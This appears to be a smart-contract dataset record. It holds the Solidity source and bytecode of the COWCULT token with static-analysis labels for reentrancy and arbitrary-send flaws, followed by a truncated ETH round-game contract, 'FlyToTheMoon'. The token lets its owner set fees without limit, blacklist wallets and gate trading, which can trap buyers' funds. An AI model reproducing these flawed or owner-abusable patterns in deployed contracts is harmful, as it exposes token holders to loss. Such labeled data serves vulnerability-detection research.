// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract COWCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "COWCULT"; string private constant _symbol = "COWCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024857600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611ad0565b6105e8565b005b34801561021557600080fd5b50604080518082018252600781526610d3d5d0d5531560ca1b6020820152905161023f9190611b95565b60405180910390f35b34801561025457600080fd5b50610268610263366004611bea565b610687565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611c16565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601454610298906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611c57565b610707565b34801561037357600080fd5b50610207610382366004611c84565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611c57565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611c9f565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611c57565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761088c565b34801561045557600080fd5b506000546001600160a01b0316610298565b34801561047357600080fd5b50610207610482366004611c84565b610a44565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611c9f565b610aa3565b3480156104c957600080fd5b506102076104d8366004611cb8565b610ad2565b3480156104e957600080fd5b506102686104f8366004611bea565b610b10565b34801561050957600080fd5b50610268610518366004611c57565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b1d565b34801561054e57600080fd5b5061020761055d366004611cea565b610b53565b34801561056e57600080fd5b506102c761057d366004611d6e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611c9f565b610bf4565b3480156105d457600080fd5b506102076105e3366004611c57565b610c23565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611da7565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611ddc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611e08565b91505061061e565b5050565b6000610694338484610d0d565b5060015b92915050565b60006106ab848484610e31565b6106fd84336106f885604051806060016040528060288152602001611f22602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061136d565b610d0d565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611da7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611da7565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c4816113a7565b50565b6001600160a01b038116600090815260026020526040812054610698906113e1565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611da7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611da7565b601555565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161061290611da7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561091b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093f9190611e23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a219190611e23565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161061290611da7565b601454600160a01b900460ff1615610a8557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161061290611da7565b601755565b6000546001600160a01b03163314610afc5760405162461bcd60e51b815260040161061290611da7565b600893909355600a91909155600955600b55565b6000610694338484610e31565b6012546001600160a01b0316336001600160a01b031614610b3d57600080fd5b6000610b48306107c7565b90506107c481611465565b6000546001600160a01b03163314610b7d5760405162461bcd60e51b815260040161061290611da7565b60005b82811015610bee578160056000868685818110610b9f57610b9f611ddc565b9050602002016020810190610bb49190611c57565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be681611e08565b915050610b80565b50505050565b6000546001600160a01b03163314610c1e5760405162461bcd60e51b815260040161061290611da7565b601655565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b815260040161061290611da7565b6001600160a01b038116610cb25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610dd05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610ef75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610f595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610f8557506000546001600160a01b03838116911614155b1561126657601454600160a01b900460ff1661101e576000546001600160a01b0384811691161461101e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b6015548111156110705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610612565b6001600160a01b03831660009081526010602052604090205460ff161580156110b257506001600160a01b03821660009081526010602052604090205460ff16155b61110a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b0383811691161461118f576016548161112c846107c7565b6111369190611e40565b1061118f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610612565b600061119a306107c7565b6017546015549192508210159082106111b35760155491505b8080156111ca5750601454600160a81b900460ff16155b80156111e457506014546001600160a01b03868116911614155b80156111f95750601454600160b01b900460ff165b801561121e57506001600160a01b03851660009081526005602052604090205460ff16155b801561124357506001600160a01b03841660009081526005602052604090205460ff16155b156112635761125182611465565b47801561126157611261476113a7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112a857506001600160a01b03831660009081526005602052604090205460ff165b806112da57506014546001600160a01b038581169116148015906112da57506014546001600160a01b03848116911614155b156112e757506000611361565b6014546001600160a01b03858116911614801561131257506013546001600160a01b03848116911614155b1561132457600854600c55600954600d555b6014546001600160a01b03848116911614801561134f57506013546001600160a01b03858116911614155b1561136157600a54600c55600b54600d555b610bee848484846115df565b600081848411156113915760405162461bcd60e51b81526004016106129190611b95565b50600061139e8486611e58565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b60006006548211156114485760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b600061145261160d565b905061145e8382611630565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ad576114ad611ddc565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152a9190611e23565b8160018151811061153d5761153d611ddc565b6001600160a01b0392831660209182029290920101526013546115639130911684610d0d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159c908590600090869030904290600401611e6f565b600060405180830381600087803b1580156115b657600080fd5b505af11580156115ca573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115ec576115ec611672565b6115f78484846116a0565b80610bee57610bee600e54600c55600f54600d55565b600080600061161a611797565b90925090506116298282611630565b9250505090565b600061145e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117d7565b600c541580156116825750600d54155b1561168957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116b287611805565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116e49087611862565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171390866118a4565b6001600160a01b03891660009081526002602052604090205561173581611903565b61173f848361194d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117b28282611630565b8210156117ce57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117f85760405162461bcd60e51b81526004016106129190611b95565b50600061139e8486611ee0565b60008060008060008060008060006118228a600c54600d54611971565b925092509250600061183261160d565b905060008060006118458e8787876119c6565b919e509c509a509598509396509194505050505091939550919395565b600061145e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061136d565b6000806118b18385611e40565b90508381101561145e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b600061190d61160d565b9050600061191b8383611a16565b3060009081526002602052604090205490915061193890826118a4565b30600090815260026020526040902055505050565b60065461195a9083611862565b60065560075461196a90826118a4565b6007555050565b600080808061198b60646119858989611a16565b90611630565b9050600061199e60646119858a89611a16565b905060006119b6826119b08b86611862565b90611862565b9992985090965090945050505050565b60008080806119d58886611a16565b905060006119e38887611a16565b905060006119f18888611a16565b90506000611a03826119b08686611862565b939b939a50919850919650505050505050565b600082611a2557506000610698565b6000611a318385611f02565b905082611a3e8583611ee0565b1461145e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611acb81611aab565b919050565b60006020808385031215611ae357600080fd5b823567ffffffffffffffff80821115611afb57600080fd5b818501915085601f830112611b0f57600080fd5b813581811115611b2157611b21611a95565b8060051b604051601f19603f83011681018181108582111715611b4657611b46611a95565b604052918252848201925083810185019188831115611b6457600080fd5b938501935b82851015611b8957611b7a85611ac0565b84529385019392850192611b69565b98975050505050505050565b600060208083528351808285015260005b81811015611bc257858101830151858201604001528201611ba6565b81811115611bd4576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bfd57600080fd5b8235611c0881611aab565b946020939093013593505050565b600080600060608486031215611c2b57600080fd5b8335611c3681611aab565b92506020840135611c4681611aab565b929592945050506040919091013590565b600060208284031215611c6957600080fd5b813561145e81611aab565b80358015158114611acb57600080fd5b600060208284031215611c9657600080fd5b61145e82611c74565b600060208284031215611cb157600080fd5b5035919050565b60008060008060808587031215611cce57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cff57600080fd5b833567ffffffffffffffff80821115611d1757600080fd5b818601915086601f830112611d2b57600080fd5b813581811115611d3a57600080fd5b8760208260051b8501011115611d4f57600080fd5b602092830195509350611d659186019050611c74565b90509250925092565b60008060408385031215611d8157600080fd5b8235611d8c81611aab565b91506020830135611d9c81611aab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1c57611e1c611df2565b5060010190565b600060208284031215611e3557600080fd5b815161145e81611aab565b60008219821115611e5357611e53611df2565b500190565b600082821015611e6a57611e6a611df2565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ebf5784516001600160a01b031683529383019391830191600101611e9a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611efd57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1c57611f1c611df2565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220913c76a8100b662a3777c00f0ec0da33d51eca34f81fd68672c3aef59f84250164736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
441
0xe31eedd236536c458cc43300ec2c5437af7cfbea
pragma solidity ^0.4.24; contract FlyToTheMoonEvents { // buy keys during first stage event onFirStage ( address indexed player, uint256 indexed rndNo, uint256 keys, uint256 eth, uint256 timeStamp ); // become leader during second stage event onSecStage ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp ); // player withdraw event onWithdraw ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp ); // award event onAward ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp ); } contract FlyToTheMoon is FlyToTheMoonEvents { using SafeMath for *; using KeysCalc for uint256; struct Round { uint256 eth; // total eth uint256 keys; // total keys uint256 startTime; // end time uint256 endTime; // end time address leader; // leader uint256 lastPrice; // The latest price for the second stage bool award; // has been accept } struct PlayerRound { uint256 eth; // eth player has added to round uint256 keys; // keys uint256 withdraw; // how many eth has been withdraw } uint256 public rndNo = 1; // current round number uint256 public totalEth = 0; // total eth in all round uint256 constant private rndFirStage_ = 12 hours; // round timer at first stage uint256 constant private rndSecStage_ = 12 hours; // round timer at second stage mapping (uint256 => Round) public round_m; // (rndNo => Round) mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound) address public owner; // owner address uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner constructor() public { round_m[1].startTime = now; round_m[1].endTime = now + rndFirStage_; owner = msg.sender; } /** * @dev prevents contracts from interacting */ modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * @dev only owner */ modifier onlyOwner() { require(owner == msg.sender, "only owner can do it"); _; } /** * @dev play */ function() onlyHuman() isWithinLimits(msg.value) public payable { uint256 _eth = msg.value; uint256 _now = now; uint256 _rndNo = rndNo; uint256 _ethUse = msg.value; // start next round? if (_now > round_m[_rndNo].endTime) { _rndNo = _rndNo.add(1); rndNo = _rndNo; round_m[_rndNo].startTime = _now; round_m[_rndNo].endTime = _now + rndFirStage_; } // first or second stage if (round_m[_rndNo].keys < 10000000000000000000000000) { // first stage uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth); // keys number 10,000,000, enter the second stage if (_keys.add(round_m[_rndNo].keys) >= 10000000000000000000000000) { _keys = (10000000000000000000000000).sub(round_m[_rndNo].keys); if (round_m[_rndNo].eth >= 8562500000000000000000) { _ethUse = 0; } else { _ethUse = (8562500000000000000000).sub(round_m[_rndNo].eth); } if (_eth > _ethUse) { // refund msg.sender.transfer(_eth.sub(_ethUse)); } else { // fix _ethUse = _eth; } } // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { round_m[_rndNo].endTime = _now + rndFirStage_; round_m[_rndNo].leader = msg.sender; } // update playerRound playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys); playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys); round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // event emit FlyToTheMoonEvents.onFirStage ( msg.sender, _rndNo, _keys, _ethUse, _now ); } else { // second stage // no more keys // lastPrice + 0.1Ether <= newPrice <= lastPrice + 10Ether uint256 _lastPrice = round_m[_rndNo].lastPrice; uint256 _maxPrice = (10000000000000000000).add(_lastPrice); // less than (lastPrice + 0.1Ether) ? require(_eth >= (100000000000000000).add(_lastPrice), "Need more Ether"); // more than (lastPrice + 10Ether) ? if (_eth > _maxPrice) { _ethUse = _maxPrice; // refund msg.sender.transfer(_eth.sub(_ethUse)); } round_m[_rndNo].endTime = _now + rndSecStage_; round_m[_rndNo].leader = msg.sender; round_m[_rndNo].lastPrice = _ethUse; // update playerRound playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // event emit 